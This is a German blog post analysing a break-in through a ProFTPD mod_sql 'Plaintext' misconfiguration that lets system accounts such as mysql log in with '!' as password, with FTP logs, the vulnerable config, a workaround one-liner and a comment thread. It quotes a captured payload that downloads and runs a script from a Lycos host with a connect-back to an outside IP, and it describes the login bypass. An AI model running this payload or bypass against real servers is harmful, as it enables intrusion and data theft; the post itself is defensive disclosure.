Donnerstag, 5. Juni 2008

Sicherheit

Achtung schwere Sicherheitslücke in Proftpd!

Ich habe eine schwere Sicherheitslücke in dem FTP-Server Proftpd entdeckt. Diese Sicherheitslücke ist einfach unglaublich, man kann sich mit einem Systemnutzer und einem einzigen Zeichen einloggen. Als entsprechender User kann man beispielsweise alle Datenbanken runterladen oder die Daten beliebig verändern.

Gehackt durch Proftpd - Analyse eines Einbruchs

Proftpd der bekannte FTP-Server enthält eine gravierende Sicherheitslücke. In letzter Zeit häufen sich einige Logeinträge mit dem selben Muster. Diese zeigten, dass auf sich auf dem jeweiligen Server ein fremder Benutzer eingeloggte. Verschlimmernd kommt hinzu, dass es möglich ist, sich mit Benutzern wie mysql auf dem FTP-Server einloggen kann. Somit ist ein Vollzugriff auf alle MySQL-Datenbanken möglich.

UNKNOWN mysql und RMD sarcaxxo

Proftp hatte ich so eingestellt, das alle Befehle mitgeloggt werden . In den Logfiles von Proftpd bin ich auf ein paar Zeilen gestossen, die mich äusserst beunruhigten. So loggte sich ein Benutzer mysql ein und versuchte das Kommando RMD sarcaxxo abzusetzen:

89.33.206.23 UNKNOWN mysql [xx/xxx/2008:13:10:23 +0100] "CDUP" 250 -
89.33.206.23 UNKNOWN mysql [xx/xxx/2008:13:10:23 +0100] "PWD" 257 -
89.33.206.23 UNKNOWN mysql [xx/xxx/2008:13:10:24 +0100] "QUIT" 221 -
216.180.243.50 UNKNOWN mysql [xx/xxx/2008:04:51:40 +0200] "PASS (hidden)" 230 -
216.180.243.50 UNKNOWN mysql [xx/xxx/2008:04:51:40 +0200] "RMD sarcaxxo" 550 -
216.180.243.50 UNKNOWN mysql [xx/xxx/2008:04:51:40 +0200] "QUIT" 221 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:01 +0200] "PASS (hidden)" 230 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:01 +0200] "SYST" 215 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:03 +0200] "PASV" 227 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:04 +0200] "LIST" 226 1843
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:08 +0200] "MKD public_html" 257 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:12 +0200] "TYPE I" 200 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:12 +0200] "PASV" 227 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:14 +0200] "STOR nyck.php" 226 5452
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:46 +0200] "QUIT" 221 -
87.229.24.49 UNKNOWN mysql [xx/xxx/2008:05:26:11 +0200] "PASS (hidden)" 230 -
87.229.24.49 UNKNOWN mysql [xx/xxx/2008:05:26:11 +0200] "RMD sarcaxxo" 550 -
87.229.24.49 UNKNOWN mysql [xx/xxx/2008:05:26:11 +0200] "QUIT" 221 -
89.136.11.242 UNKNOWN mysql [xx/xxx/2008:15:24:43 +0200] "PASS (hidden)" 230 -
89.136.11.242 UNKNOWN mysql [xx/xxx/2008:15:24:43 +0200] "SYST" 215 -
89.136.11.242 UNKNOWN mysql [xx/xxx/2008:15:24:44 +0200] "FEAT" 211 -
89.136.11.242 UNKNOWN mysql [xx/xxx/2008:15:24:44 +0200] "PWD" 257 -

RMD sarcaxxo vom FTP-Scanner erzeugt

Der Log-Eintrag mit dem Kommando: RMD sarcaxxo - ist von einem Audith-Tool dem Multi-thread FTP scanner v0.2.5 by Inode. Das wurde hier als Hackingtool missbraucht. Den Footprint RMD sarcaxxo sah ich im Quellcode des Programms. Dieses Kommando wird kurz nach einem erfolgreichen Login abgesetzt.

Der FTP-Scanner kommt mit einer Passwortlistendatei daher. Diese kann dann für einen Accountscan verwendet werden. Die Versionen des Scanners, welche ich zur Analyse heruntergeladen hatte, enthielten aber kein Passwort welche einen so schnellen Login erklärten. Der erste Eintrag der Passwortliste war "null", das und die anderen waren es eben nicht. Ein kurzer Test bestätigte die Vermutung.

MKD public_html & STOR nyck.php

Ein anderer Cracker legte die Datei nyck.php in den Ordner /var/lib/mysql - in der Hoffung das PHP-Script via Webbrowser auszuführen. Wäre jetzt das Apache-Modul mod_userdir aktiviert, könnte er es via IP://IP_ADRESSE_DES_SERVERS/~mysql/nyck.php ansteuern.

61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:08 +0200] "MKD public_html" 257 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:12 +0200] "TYPE I" 200 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:12 +0200] "PASV" 227 -
61.120.0.130 UNKNOWN mysql [xx/xxx/2008:19:06:14 +0200] "STOR nyck.php" 226 5452

61.120.0.130

Google sagt hierzu folgendes:

Download Code!

  1. IODEF           2008/01/27      Web      Outbreaking    4       3       (GET /portal/cacti/cmd.php) [Decoded access]127.0.0.1 proc wget members.lycos.co.uk/allnalln/ping.txt;mv ping temp2006;mv ping.txt temp2006;perl temp2006 61.120.0.130 3000;lwp-download members.lycos.co.uk/allnalln/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.130 3000;curl -o ping members.lycos.co.uk/allnalln/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.130 3000;cd /tmp/;curl -o temp2006 members.lycos.co.uk/allnalln/ping.txt;while [ 1 ];do perl temp2006 61.120.0.130 3000;done;wget members.lycos.co.uk/allnalln/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.130 3000;curl -o ping members.lycos.co.uk/allnalln/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.130 3000

Das scheint ein gehackter Server zu sein: Unter der IP betreibt das KURIBARA MEDICAL INSTRUMENTS STORE einen Webserver.

Warum nur UNKNOWN mysql?

Die Frage warum sich der Benutzer mysql einloggen konnte machte mir echte Kopfschmerzen. Der User hatte nämlich kein Passwort gesetzt - was in diesem Falle ein einloggen ummöglich machen müsste. Ein nachschauen in den entsprechenden Dateien offenbarte auch nichts ungewöhnliches.

# grep mysql /etc/passwd
mysql:x:105:107:MySQL Server,,,:/var/lib/mysql:/bin/false

# grep mysql /etc/shadow
mysql:!:13766:0:99999:7:

Ohne Passwort einloggen geht das?

Nach einigen Stunden Kopfzerbrechen und probierens, ist mir die Idee gekommen einfach ein Ausrufezeichen "!" als Passwort zu übergeben. Die Antwort: "PASS (hidden)" 230 - der Statuscode für User logged in, proceed

Normalerweise darf sowas nicht passieren - im Linuxumfeld bedeutet das ! in diesem Fall - kein Passwort - kein einloggen!

Fehler in Proftpd

Der Fehler liegt bei Proftpd. Proftpd lässt es bei einer bestimmten Konfiguration zu, sich als Systembenutzer und einem Ausrufezeichen einzuloggen. Sowas darf nicht passieren! Das ist kein Feature - das ist ein Bug - ein riesengrosser Bug!

Die Übeltäter: proftpd.conf und mod_sql.c

Folgende Einstellung mit aktiviertem mod_sql erlaubt ein einloggen als Systembenutzer ohne "bekanntes" Passwort bzw. mit einem Aurufezeichen (!) :

SQLAuthTypes Crypt Plaintext
SQLAuthenticate users* groups*
SQLConnectInfo syscp@localhost ****DELETED****
SQLUserInfo ftp_users username password uid gid homedir shell
SQLGroupInfo ftp_groups groupname gid members
SQLUserWhereClause "login_enabled = 'y'"
SQLLog PASS login
SQLNamedQuery login UPDATE "last_login=now(),

Der Casus Knacksus ist hierbei der Eintrag: SQLAuthTypes Crypt Plaintext - das Plaintext nimmt der FTP-Server wörtlich. Er liest die Systemusertabelle und die Passwörter eins zu eins aus. Ein Ausrufzeichen wird mitübernommen. Die Entwickler sollten sowas aber abfangen - was sie aber bis heute nicht gemacht haben.

= Securityfix =

Kein direkter Security Fix im Quellcode. Eher ein Workaround. Auch muss man den Server so nicht neukompilieren - falls jemand damit eventuelle Probleme hätte. Um die Sicherheitslücke zu stopfen genügt dieser Einzeiler:

Download Code!

  1.  
  2. /etc/init.d/proftpd stop && cp /etc/proftpd/proftpd.conf /etc/proftpd/proftpd.conf.bak1 && cat /etc/proftpd/proftpd.conf.bak1 | sed -e 's/Plaintext//g' > /etc/proftpd/proftpd.conf && /etc/init.d/proftpd start
  3.  

Proftpd und die nicht gefixte Sicherheitlücke

Nach späteren Recherchen, fand ich heraus, dass diese Sicherheitslücke bereits in auf einigen Sicherheitsmailinglisten angesprochen wurde und somit höchstwahrscheinlich das Entwicklerteam von der Sicherheitslücke wussten. Das Schlimme daran ist aber: Es ist immer noch nicht gefixt! Die aktuelle Proftpd RC auf der Homepage enthält den Fehler weiterhin.

Vorallem Debian und SysCP betroffen

Auf aktuellen Debianservern ist kein Hotfix eingegangen. Die Version von Proftpd im Debian Etch Zweig ist auch verwundbar. SysCP-Systeme können hierbei auch betroffen sein. Syscp wird gern auf Debian Systemen eingesetzt. Das und der Umstand, dass in einer früheren Version von Syscp die Plaintext-Einstellung unglücklicherweise in der Dokumentation stand, führen zu einem gefährlichen Mix. Somit können eben gerade Langbenutzer davon betroffen sein. Dort baut man meist auf alte, bewährte Einstellungen. Bei einem Update wird das Problem in der Datei selbst nicht behoben, man müsste die alte Konfiguration der Datei proftpd.conf selbst überschreiben.

Viele wissen nicht bescheid

Rein statistisch gesehen gibt es noch mehr Server mit diesem Problem. Leider vermisse ich Hinweise, in den grossen IT-Medien. Auf Heise Security beispielsweise.

Irgendwie wird die Angelegenheit ignoriert, totgeschwiegen, oder man weiss es einfach nicht - keine Ahnung. Wenn es wenigstens was bringen würde - die Sicherheitslücke geht davon komischweise nicht weg ;-)

Bewertung: keine, 0 Stimme(n) 1656 Klicks
Von Mr.Foo in Sicherheit am 05.06.08@16:51 Uhr

Trackbacks
Trackback für spezifische URI dieses Eintrags

Keine Trackbacks

6 Kommentare
Ansicht der Kommentare: (Linear | Verschachtelt)

tex - #1 - 05.06.2008 23:06 - (Antwort)

Omfg, das funktioniert ja wirlich!! Meine erste Reaktion: "/etc/init.d/proftpd stop".

Mr. Foo - #1.1 - 06.06.2008 12:54 - (Antwort)

Welche Version von Proftpd hast du?

EleRas - #2 - 06.06.2008 07:35 - (Antwort)

Hi,

Wir hatten im April 2007 bereits davor gewarnt und dies an Debian gemeldet. Laut deren Bugtracker wurde dies auch bereits gefixt. Auch der ProFTPd - Bugtracker sagt: fixed https://blog.syscp.org/archives/58-Security-warning-Possible-remote-code-injection-when-using-Debian-SargeEtch.html
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=419255
http://bugs.proftpd.org/show_bug.cgi?id=2922

Mr. Foo - #3 - 06.06.2008 11:27 - (Antwort)

Hallo EleRas,

vielen Dank für die Links - diese Seiten gehören auch zu den wenigen, welche ich zu dem Thema gefunden habe. Nur gibt es genau hier ein paar Probleme:

Download Code!

  1. /etc/init.d/proftpd stop
  2. wget ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/ftp.proftpd.net/distrib/source/proftpd-1.3.2rc1.tar.gz
  3. tar zf proftpd-1.3.2rc1.tar.gz
  4. tar tzf proftpd-1.3.2rc1.tar.gz
  5. cd proftpd-1.3.2rc1.tar.gz
  6. ls -lisa
  7. tar --help
  8. tar xzf proftpd-1.3.2rc1.tar.gz
  9. cd proftpd-1.3.2rc1
  10. ls
  11. ./configure
  12. make
  13. make install
  14. /etc/init.d/proftpd start
  15. proftpd --version
  16. # ProFTPD Version 1.3.2rc1

Mit dieser Version hatte ich einen Test gemacht - dort war der Fehler noch vorhanden. Scheint also nicht gefixt zu sein.

Im Blogeintrag von euch, dem SysCP-Team vermisse ich einen genauerer Hinweis, was wie daran beteiligt ist. Das Hauptproblem ist nicht mod_userdir, sondern der Eintrag Plaintext in der proftpd.conf.

Auch mit deaktvierten mod_userdir kann ich als User mysql alle Datenbanken runterladen und modfizieren.

Leider hatte erst Zhenech das Problem richtig erkannt. Das war aber in einem späteren Blogkommentar.

EleRas - #3.1 - 06.06.2008 13:07 - (Antwort)

Hi,

Was ist denn an "As the Debian-package of proftpd adds a user "ftp" with password "!" (drop quotes) and the appropriate homedir at "/home/ftp", anyone can login as this user." falsch? Das andere systemuser dann auch funktionieren is doch logisch. Da brauch man ja nicht extra drauf hinweisen.

und wir sagten ja auch: "We recommend to add the following line to your /etc/proftpd.conf:
AuthOrder mod_sql.c" - womit das Plaintext entfernt wird.

So long,
Florian

Mr. Foo - #3.1.1 - 06.06.2008 14:53 - (Antwort)

Nichts, ist daran falsch. Von SysCP als Admintool bin ich auch weiterhin überzeugt.

Das Problem ist ja nicht durch SysCP entstanden, sondern erst der Fehler im Quellcode Proftpds hat das Einloggen ermöglicht.

Da einige alte SysCP-User die Plaintext-Anweisung in ihrer Konfiguration haben, sind eben diese von der Sicherheitlücke betroffen.


Kommentar schreiben

Umschließende Sterne heben ein Wort hervor (*wort*), per _wort_ kann ein Wort unterstrichen werden.
Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.
Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.
Sie können [geshi lang=LANG][/lang] Tags verwenden um Quellcode abhängig von der gewählten Programmiersprache einzubinden